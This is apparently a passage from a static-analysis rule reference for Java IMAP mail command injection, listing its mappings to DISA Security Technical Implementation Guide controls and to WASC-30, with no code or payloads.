[56] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002510 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Mail Command Injection (WASC-30)
desc.dataflow.java.mail_command_injection_imap